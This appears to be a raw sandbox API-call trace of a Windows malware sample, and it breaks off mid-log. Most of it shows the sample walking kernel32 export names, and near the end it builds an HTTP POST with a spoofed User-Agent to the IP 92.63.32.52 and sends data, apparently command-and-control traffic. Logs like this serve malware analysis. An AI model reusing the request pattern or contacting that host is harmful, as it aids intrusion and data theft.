lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0118.207] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0118.207] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0118.207] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0118.207] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0118.207] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0118.207] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0118.207] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0118.207] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0118.207] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0118.207] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0118.207] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0118.207] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0118.207] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0118.207] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0118.207] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0118.207] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0118.207] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0118.207] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0118.207] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0118.207] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0118.207] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0118.207] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0118.207] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0118.207] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0118.207] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0118.207] lstrlenA (lpString="COPYCONTEXT") returned 11 [0118.207] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0118.207] lstrlenA (lpString="COPYFILE2") returned 9 [0118.208] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0118.208] lstrlenA (lpString="COPYFILEA") returned 9 [0118.208] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0118.208] lstrlenA (lpString="COPYFILEEXA") returned 11 [0118.208] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0118.208] lstrlenA (lpString="COPYFILEEXW") returned 11 [0118.208] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0118.208] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0118.208] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0118.208] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0118.208] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0118.208] lstrlenA (lpString="COPYFILEW") returned 9 [0118.208] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0118.208] lstrlenA (lpString="COPYLZFILE") returned 10 [0118.208] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0118.208] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0118.208] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0118.208] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0118.208] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0118.208] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0118.208] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0118.208] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0118.208] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0118.208] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0118.208] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0118.208] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0118.208] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0118.208] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0118.208] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0118.208] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0118.208] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0118.208] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0118.208] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0118.208] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0118.208] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0118.208] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0118.208] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0118.208] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0118.208] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0118.208] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0118.208] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0118.208] lstrlenA (lpString="CREATEEVENTA") returned 12 [0118.209] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0118.209] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0118.209] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0118.209] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0118.209] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0118.209] lstrlenA (lpString="CREATEEVENTW") returned 12 [0118.209] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0118.209] lstrlenA (lpString="CREATEFIBER") returned 11 [0118.209] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0118.209] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0118.209] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0118.209] lstrlenA (lpString="CREATEFILE2") returned 11 [0118.209] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0118.209] lstrlenA (lpString="CREATEFILEA") returned 11 [0118.209] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0118.209] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0118.209] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0118.209] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0118.209] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0118.209] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0118.209] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0118.209] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0118.209] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0118.209] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0118.209] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0118.209] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0118.209] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0118.209] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0118.209] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0118.209] lstrlenA (lpString="CREATEFILEW") returned 11 [0118.209] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0118.209] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0118.209] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0118.209] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0118.209] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0118.209] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0118.209] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0118.209] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0118.209] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0118.209] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0118.209] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0118.210] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0118.210] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0118.210] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0118.210] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0118.210] lstrlenA (lpString="CREATEJOBSET") returned 12 [0118.210] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0118.210] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0118.210] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0118.210] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0118.210] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0118.210] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0118.210] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0118.210] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0118.210] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0118.210] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0118.210] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0118.210] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0118.210] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0118.210] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0118.210] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0118.210] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0118.210] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0118.210] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0118.210] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0118.210] lstrlenA (lpString="CREATEPIPE") returned 10 [0118.210] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0118.210] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0118.210] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0118.210] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0118.210] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0118.210] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0118.210] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0118.210] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0118.210] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0118.210] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0118.210] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0118.210] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0118.210] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0118.210] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0118.210] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0118.210] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0118.211] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0118.211] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0118.211] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0118.211] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0118.211] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0118.211] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0118.211] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0118.211] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0118.211] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0118.211] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0118.211] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0118.211] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0118.211] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0118.211] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0118.211] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0118.211] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0118.211] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0118.211] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0118.211] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0118.211] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0118.211] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0118.211] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0118.211] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0118.211] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0118.211] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0118.211] lstrlenA (lpString="CREATETHREAD") returned 12 [0118.211] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0118.211] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0118.211] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0118.211] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0118.211] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0118.211] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0118.211] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0118.211] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0118.211] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0118.211] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0118.211] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0118.211] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0118.211] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0118.211] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0118.211] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0118.212] lstrlenA (lpString="CREATETIMERQUEUETIMER") returned 21 [0118.212] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateToolhelp32Snapshot" | out: lpString1="CreateToolhelp32Snapshot") returned="CreateToolhelp32Snapshot" [0118.212] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0118.212] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0118.213] GetModuleHandleA (lpModuleName="user32.dll") returned 0x74b70000 [0118.213] wsprintfA (in: param_1=0x3c80000, param_2="POST /%s HTTP/1.1\r\nUser-Agent: %s\r\nHost: %s\r\nContent-Type: %s\r\nContent-Length: %d\r\nConnection: Keep-Alive\r\n\r\n" | out: param_1="POST /webauth/update/kq.aspx?qt=7ya76cx&r=s5ged584a4 HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko\r\nHost: 92.63.32.52\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 221\r\nConnection: Keep-Alive\r\n\r\n") returned 264 [0118.213] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0118.214] send (s=0x544, buf=0x3c80000*, len=485, flags=0) returned 485 [0118.214] shutdown (s=0x544, how=1) returned 0 [0118.214] recv (in: s=0x544, buf=0x2e7f828, len=1, flags=0 | out: buf=0x2e7f828*) returned 1 [0118.255] recv (in: s=0x544, buf=0x2e7f829, len=1, flags=0 | out: buf=0x2e7f829*) returned 1 [0118.256] recv (in: s=0x544, buf=0x2e7f82a, len=1, flags=0 | out: buf=0x2e7f82a*) returned 1 [0118.256] recv (in: s=0x544, buf=0x2e7f82b, len=1, flags=0 | out: buf=0x2e7f82b*) returned 1 [0118.256] recv (in: s=0x544, buf=0x2e7f82c, len=1, flags=0 | out: buf=0x2e7f82c*) returned 1 [0118.256] recv (in: s=0x544, buf=0x2e7f82d, len=1, flags=0 | out: buf=0x2e7f82d*) returned 1 [0118.256] recv (in: s=0x544, buf=0x2e7f82e, len=1, flags=0 | out: buf=0x2e7f82e*) returned 1 [0118.256] recv (in: s=0x544, buf=0x2e7f82f, len=1, flags=0 | out: buf=0x2e7f82f*) returned 1 [0118.256] recv (in: s=0x544, buf=0x2e7f830, len=1, flags=0 | out: buf=0x2e7f830*) returned 1 [0118.256] recv (in: s=0x544, buf=0x2e7f831, len=1, flags=0 | out: buf=0x2e7f831*) returned 1 [0118.256] recv (in: s=0x544, buf=0x2e7f832, len=1, flags=0 | out: buf=0x2e7f832*) returned 1 [0118.256] recv (in: s=0x544, buf=0x2e7f833, len=1, flags=0 | out: buf=0x2e7f833*) returned 1 [0118.256] recv (in: s=0x544, buf=0x2e7f834, len=1, flags=0 | out: buf=0x2e7f834*) returned 1 [0118.256] recv (in: s=0x544, buf=0x2e7f835, len=1, flags=0 | out: buf=0x2e7f835*) returned 1 [0118.256] recv (in: s=0x544, buf=0x2e7f836, len=1, flags=0 | out: buf=0x2e7f836*) returned 1 [0118.256] recv (in: s=0x544, buf=0x2e7f837, len=1, flags=0 | out: buf=0x2e7f837*) returned 1 [0118.257] recv (in: s=0x544, buf=0x2e7f838, len=1, flags=0 | out: buf=0x2e7f838*) returned 1 [0118.257] recv (in: s=0x544, buf=0x2e7f839, len=1, flags=0 | out: buf=0x2e7f839*) returned 1 [0118.257] recv (in: s=0x544, buf=0x2e7f83a, len=1, flags=0 | out: buf=0x2e7f83a*) returned 1 [0118.257] recv (in: s=0x544, buf=0x2e7f83b, len=1, flags=0 | out: buf=0x2e7f83b*) returned 1 [0118.257] recv (in: s=0x544, buf=0x2e7f83c, len=1, flags=0 | out: buf=0x2e7f83c*) returned 1 [0118.257] recv (in: s=0x544, buf=0x2e7f83d, len=1, flags=0 | out: buf=0x2e7f83d*) returned 1 [0118.257] recv (in: s=0x544, buf=0x2e7f83e, len=1, flags=0 | out: buf=0x2e7f83e*) returned 1 [0118.257] recv (in: s=0x544, buf=0x2e7f83f, len=1, flags=0 | out: buf=0x2e7f83f*) returned 1 [0118.257] recv (in: s=0x544, buf=0x2e7f840, len=1, flags=0 | out: buf=0x2e7f840*) returned 1 [0118.257] recv (in: s=0x544, buf=0x2e7f841, len=1, flags=0 | out: buf=0x2e7f841*) returned 1 [0118.257] recv (in: s=0x544, buf=0x2e7f842, len=1, flags=0 | out: buf=0x2e7f842*) returned 1 [0118.257] recv (in: s=0x544, buf=0x2e7f843, len=1, flags=0 | out: buf=0x2e7f843*) returned 1 [0118.257] recv (in: s=0x544, buf=0x2e7f844, len=1, flags=0 | out: buf=0x2e7f844*) returned 1 [0118.257] recv (in: s=0x544, buf=0x2e7f845, len=1, flags=0 | out: buf=0x2e7f845*) returned 1 [0118.257] recv (in: s=0x544, buf=0x2e7f846, len=1, flags=0 | out: buf=0x2e7f846*) returned 1 [0118.258] recv (in: s=0x544, buf=0x2e7f847, len=1, flags=0 | out: buf=0x2e7f847*) returned 1 [0118.258] recv (in: s=0x544, buf=0x2e7f848, len=1, flags=0 | out: buf=0x2e7f848*) returned 1 [0118.258] recv (in: s=0x544, buf=0x2e7f849, len=1, flags=0 | out: buf=0x2e7f849*) returned 1 [0118.258] recv (in: s=0x544, buf=0x2e7f84a, len=1, flags=0 | out: buf=0x2e7f84a*) returned 1 [0118.258] recv (in: s=0x544, buf=0x2e7f84b, len=1, flags=0 | out: buf=0x2e7f84b*) returned 1 [0118.258] recv (in: s=0x544, buf=0x2e7f84c, len=1, flags=0 | out: buf=0x2e7f84c*) returned 1 [0118.258] recv (in: s=0x544, buf=0x2e7f84d, len=1, flags=0 | out: buf=0x2e7f84d*) returned 1 [0118.258] recv (in: s=0x544, buf=0x2e7f84e, len=1, flags=0 | out: buf=0x2e7f84e*) returned 1 [0118.258] recv (in: s=0x544, buf=0x2e7f84f, len=1, flags=0 | out: buf=0x2e7f84f*) returned 1 [0118.258] recv (in: s=0x544, buf=0x2e7f850, len=1, flags=0 | out: buf=0x2e7f850*) returned 1 [0118.258] recv (in: s=0x544, buf=0x2e7f851, len=1, flags=0 | out: buf=0x2e7f851*) returned 1 [0118.258] recv (in: s=0x544, buf=0x2e7f852, len=1, flags=0 | out: buf=0x2e7f852*) returned 1 [0118.258] recv (in: s=0x544, buf=0x2e7f853, len=1, flags=0 | out: buf=0x2e7f853*) returned 1 [0118.258] recv (in: s=0x544, buf=0x2e7f854, len=1, flags=0 | out: buf=0x2e7f854*) returned 1 [0118.258] recv (in: s=0x544, buf=0x2e7f855, len=1, flags=0 | out: buf=0x2e7f855*) returned 1 [0118.258] recv (in: s=0x544, buf=0x2e7f856, len=1, flags=0 | out: buf=0x2e7f856*) returned 1 [0118.259] recv (in: s=0x544, buf=0x2e7f857, len=1, flags=0 | out: buf=0x2e7f857*) returned 1 [0118.259] recv (in: s=0x544, buf=0x2e7f858, len=1, flags=0 | out: buf=0x2e7f858*) returned 1 [0118.259] recv (in: s=0x544, buf=0x2e7f859, len=1, flags=0 | out: buf=0x2e7f859*) returned 1 [0118.259] recv (in: s=0x544, buf=0x2e7f85a, len=1, flags=0 | out: buf=0x2e7f85a*) returned 1 [0118.259] recv (in: s=0x544, buf=0x2e7f85b, len=1, flags=0 | out: buf=0x2e7f85b*) returned 1 [0118.259] recv (in: s=0x544, buf=0x2e7f85c, len=1, flags=0 | out: buf=0x2e7f85c*) returned 1 [0118.259] recv (in: s=0x544, buf=0x2e7f85d, len=1, flags=0 | out: buf=0x2e7f85d*) returned 1 [0118.259] recv (in: s=0x544, 